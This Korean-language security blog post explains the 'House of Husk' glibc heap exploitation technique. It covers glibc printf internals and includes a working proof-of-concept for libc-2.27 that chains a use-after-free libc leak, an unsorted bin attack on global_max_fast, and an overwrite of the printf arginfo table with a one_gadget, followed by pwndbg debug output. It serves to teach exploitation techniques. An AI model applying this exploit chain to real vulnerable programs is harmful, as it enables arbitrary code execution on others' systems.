https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507
Summary
printf 동작 중 사용자가 custom printf 를 등록하여 사용할 수 있는 기능을 이용한 방법.
다음과 같이 정의되지 않은 형식문자를 사용자가 등록하여 사용할 수 있음.
int func(FILE* stream, const struct printf_info* info, const void* const* args){
printf("Called Func\n");
}
int arginfo(const struct printf_info* info, size_t n, int* argtypes, int* size){
return 1;
}
int main(int argc, char* argv[]){
register_printf_specifier('Q', func, arginfo);
printf("%Q");
}
Intro
1. register_printf_specifier
특정 형식문자에 대한 처리함수를 등록하는 함수.
다음과 같이 생겼는데, calloc
을 이용하여 메모리를 할당받고, 해당 공간을 __printf_arginfo_table
과 __printf_function_table
로 사용함. 사용자가 등록하려는 printf function과 arginfo function은 해당 table들을 기준으로 등록하려는 형식문자를 인덱스로 하여 function pointer를 table에 저장함.
nt
__register_printf_specifier (int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX)
{
__set_errno (EINVAL);
return -1;
}
int result = 0;
__libc_lock_lock (lock);
if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}
__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}
__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;
out:
__libc_lock_unlock (lock);
return result;
}
다음에서는 등록한 table들의 function pointer가 어떻게 사용되는지 설명함.
2. printf
printf는 내부적으로 인자를 처리한 뒤, vfprintf를 호출함으로써 동작함.
int
__printf (const char *format, ...)
{
va_list arg;
int done;
va_start (arg, format);
done = vfprintf (stdout, format, arg);
va_end (arg);
return done;
}
2. printf -> vfprintf
vfprintf에서는 __printf_function_table
이 NULL 인지 비교하여, 등록된 custom printf가 존재하는지 확인한 뒤, 존재한다면 printf_positional
을 호출함.
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap)
{
...
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;
...
/* Hand off processing for positional parameters. */
do_positional:
if (__glibc_unlikely (workstart != NULL))
{
free (workstart);
workstart = NULL;
}
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep);
...
return done;
2. printf -> vfprintf -> printf_positional
spec에 대한 처리들을 진행하며, __printf_arginfo_table
에 등록된 함수를 호출한 뒤, __printf_function_table
에 등록된 함수를 호출함.
static int
printf_positional (_IO_FILE *s, const CHAR_T *format, int readonly_format,
va_list ap, va_list *ap_savep, int done, int nspecs_done,
const UCHAR_T *lead_str_end,
CHAR_T *work_buffer, int save_errno,
const char *grouping, THOUSANDS_SEP_T thousands_sep)
{
...
default:
/* We have more than one argument for this format spec.
We must call the arginfo function again to determine
all the types. */
(void) (*__printf_arginfo_table[specs[cnt].info.spec])
(&specs[cnt].info,
specs[cnt].ndata_args, &args_type[specs[cnt].data_arg],
&args_size[specs[cnt].data_arg]);
break;
}
}
...
/* Process format specifiers. */
while (1)
{
extern printf_function **__printf_function_table;
int function_done;
if (spec <= UCHAR_MAX
&& __printf_function_table != NULL
&& __printf_function_table[(size_t) spec] != NULL)
{
const void **ptr = alloca (specs[nspecs_done].ndata_args
* sizeof (const void *));
/* Fill in an array of pointers to the argument values. */
for (unsigned int i = 0; i < specs[nspecs_done].ndata_args;
++i)
ptr[i] = &args_value[specs[nspecs_done].data_arg + i];
/* Call the function. */
function_done = __printf_function_table[(size_t) spec]
(s, &specs[nspecs_done].info, ptr);
...
}
PoC
/**
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
*/
int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdout, NULL); // make printf quiet
/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lx\n", libc_base);
/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */
/* overwrite __printf_arginfo_table and __printf_function_table */
free(a[1]);
free(a[2]);
/* ignite! */
printf("%X", 0);
return 0;
}
Precondition
상당히 큰 size의 chunk 할당이 가능
UAF in unsorted bin
printf()에 형식문자 입력 가능 or printf("%{}")을 호출할 수 있을 것.
__printf_function_table
과__printf_arginfo_table
을 만든 뒤 해당 주소를 알아야 함.
Exploit
1. global_max_fast 변조
unsorted bin attack을 통해 fastbin의 경계 값을 나타내는 전역변수인 global_max_fast 값을 큰 값으로 변조함. free 할 때, 다음과 같이 chunk size를 global_max_fast 값과 비교하여 fastbin 영역에 속하는지 확인하기 때문에, 해당 값을 매우 큰 값으로 변조했을 때 큰 size의 chunk를 free 했을 때도, fastbin에 저장하게됨.
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
) {
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
free_perturb (chunk2mem(p), size - 2 * SIZE_SZ);
atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = old;
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = old2 = old;
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}
2. fake chunk 생성
one gadget 등의 함수의 주소를 갖는 __printf_arginfo_table
과 __printf_function_table
3. overwrite __printf_arginfo_table
, __printf_function_table
정상적이라면 free 했을 때, chunk size를 index로 변환한 뒤 해당 chunk의 주소를 main_arena 내의 해당 chunk size 위치에 덮어쓰지만, global_max_fast 값이 커져, 일종의 oob가 발생하므로 main_arena를 넘어선 주소에 free된 chunk의 주소를 덮어쓸 수 있음.
4. Call printf("%{}")
형식문자를 조절하여 table에 등록된 함수를 호출하면 됨. arginfo나 function이나 암거나 써도 되지만, 어차피 arginfo 가 먼저 실행되고 function이 실행되는데 arginfo가 null이면 안되므로 그냥 arginfo만 하는게 편함.
Debug
unsorted attack 부분
─────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────
RAX 0x7ffff7dd0860 (map) ◂— 0x0
RBX 0x7ffff7dcfc40 (main_arena) ◂— 0x0
RCX 0x184
RDX 0x0
RDI 0x60bba0 ◂— 0x0
RSI 0x0
R8 0x77
R9 0x0
R10 0x602010 ◂— 0x0
R11 0x0
R12 0x60bba0 ◂— 0x0
R13 0x60bb90 ◂— 0x0
R14 0x186
R15 0x0
RBP 0xffffffffffffffb0
RSP 0x7fffffffde80 ◂— 0xffffffffffffffb0
*RIP 0x7ffff7a7bb0b (free+331) ◂— mov qword ptr [rax + 0x10], r13
──────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────
0x7ffff7a7baf6 <free+310> test esi, esi
0x7ffff7a7baf8 <free+312> jne free+1615 <free+1615>
0x7ffff7a7bafe <free+318> cmp r13, rdx
0x7ffff7a7bb01 <free+321> je free+1704 <free+1704>
0x7ffff7a7bb07 <free+327> mov qword ptr [r12], rdx
► 0x7ffff7a7bb0b <free+331> mov qword ptr [rax + 0x10], r13 <0x7ffff7dd0870>
0x7ffff7a7bb0f <free+335> nop
0x7ffff7a7bb10 <free+336> mov rax, qword ptr [rsp + 0x28]
0x7ffff7a7bb15 <free+341> xor rax, qword ptr fs:[0x28]
0x7ffff7a7bb1e <free+350> jne free+2808 <free+2808>
↓
0x7ffff7a7c4b8 <free+2808> call __stack_chk_fail <__stack_chk_fail>
───────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffde80 ◂— 0xffffffffffffffb0
01:0008│ 0x7fffffffde88 ◂— 0x500
02:0010│ 0x7fffffffde90 ◂— 0xffffffffffffffb0
03:0018│ 0x7fffffffde98 —▸ 0x400590 (_start) ◂— xor ebp, ebp
04:0020│ 0x7fffffffdea0 —▸ 0x7fffffffe040 ◂— 0x1
05:0028│ 0x7fffffffdea8 ◂— 0x7d323a5c54382100
06:0030│ 0x7fffffffdeb0 ◂— 0x0
... ↓
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────
► f 0 7ffff7a7bb0b free+331
f 1 7ffff7a7bb0b free+331
f 2 400763 main+236
f 3 7ffff7a05b97 __libc_start_main+231
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x602000
Size: 0x251
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x602250
Size: 0x511
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dd1930
Allocated chunk | PREV_INUSE
Addr: 0x602760
Size: 0x9431
Allocated chunk | PREV_INUSE
Addr: 0x60bb90
Size: 0x1861
Allocated chunk | PREV_INUSE
Addr: 0x60d3f0
Size: 0x511
Top chunk | PREV_INUSE
Addr: 0x60d900
Size: 0x15701
pwndbg> x/4gx 0x7ffff7dd0860
0x7ffff7dd0860 <map>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0870 <__printf_arginfo_table>: 0x0000000000000000 0x0000000000000000
코드 상에서
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = old;
*fb = p;
}
Conclusion
'좀 열심히 쓴 글' 카테고리의 다른 글
What The Fuzz 분석 (0) | 2021.08.08 |
---|---|
Fuzzing software: common challenges and potential solutions 정리 (0) | 2021.08.06 |
Bypass SNI Filtering (1) | 2020.06.29 |
How to handle Sections in PE (0) | 2020.06.17 |
LibFuzzer code coverage 분석(8bit counter) / LibFuzzer 수정 (0) | 2020.06.14 |